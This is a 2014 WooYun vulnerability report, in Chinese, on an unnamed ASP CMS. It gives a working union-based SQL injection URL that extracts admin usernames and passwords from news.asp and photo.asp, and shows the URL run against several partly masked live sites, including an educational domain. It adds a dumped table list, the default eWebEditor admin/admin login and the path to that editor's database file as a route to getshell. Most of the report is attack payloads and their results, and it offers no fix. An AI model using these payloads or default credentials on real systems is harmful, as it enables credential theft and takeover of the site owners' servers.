当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-069036

漏洞标题：某CMS存在注入与弱口令漏洞可导致Getshell#影响众多网站

相关厂商：国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-07-20 10:00

修复时间：2014-10-15 10:02

公开时间：2014-10-15 10:02

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：19

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-20： 细节已通知厂商并且等待厂商处理中
2014-07-25： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-09-18： 细节向核心白帽子及相关领域专家公开
2014-09-28： 细节向普通白帽子公开
2014-10-08： 细节向实习白帽子公开
2014-10-15： 细节向公众公开

简要描述：

前人提交后人乘凉，用户量蛮大，危害也蛮大，好多站点已经沦为跑马场了。现在的孩子啊，都是大黑阔啊！哈哈，继续膜拜U大牛，这里就遵照U大牛格式来发~！来个首页吧~

详细说明：

#1.首先是看了大牛的漏洞“ WooYun: 某CMS认证缺陷导致通用型cookie劫持#涉及大量政府、教育机构站点 ”，该漏洞讲解的主要是利用Cookie欺骗进入后台，思路还不错，就是不知道这小伙是怎么发现的？好了废话不多说，这里主要讲的是注入点和弱口令，这两个漏洞都可导致Getshell。
用户量很多吧，前台没有太多的有用特征来查找该系统，不过就搜后台就有一大堆，搜后台特征都能搜出一大堆的，目测一定很多对吧，狗哥？

01.jpg


#2.注射漏洞：

news.asp?id=
photo.asp?ID=


利用方法如下，第二个貌似会跳转的，不过可以用sqlmap来跑跑~

EXP：
http://www.xxx.com/news.asp?id=100 union select 1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin

漏洞证明：

【声明：以下案例仅供CNVD、CNCERT测试使用其它人请勿恶意利用或破坏，由此产生的后果自负】
#3.注入漏洞的证明测试：
A：

http://www.***.edu.cn/business/party/party1/guomao/news.asp?id=68%20union%20select%201,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20admin


02.jpg


B：

http://www.z****s.com/news.asp?id=182  union select 1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin


03.jpg


C：

http://www.d****j.com/news.asp?id=729 union select 1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin


04.jpg


D：

http://***.***.***.50:9999/news.asp?id=428 union select 1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin


05.jpg


E：

http://www.s****t.cn/news.asp?id=484 union select 1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from admin


06.jpg


第二个个注射点：

http://www.t***x.com/photo.asp?ID=16607


07.jpg


08.jpg


www.l****du.com/px/photo.asp?ID=16595


09.jpg


10.jpg


http://www.sd*****t.cn/photo.asp?ID=16613


11.jpg


12.jpg


[8 tables]
+--------+
| admin  |
| book   |
| config |
| menu   |
| news   |
| type   |
| users  |
| vote   |
+--------+


13.jpg


#4.弱口令漏洞：在该系统下存在一个低版本的Ewebeditor编辑器，存在默认弱口令admin、admin，可导致GETSHELL

ewebeditor/admin_login.asp
ewebeditor/db/ewebeditor.mdb


14.jpg


15.jpg


16.jpg

修复方案：

厂商未知，程序未知，很多站已经被小学生搞了，现在的孩子啊~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-15 10:02

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无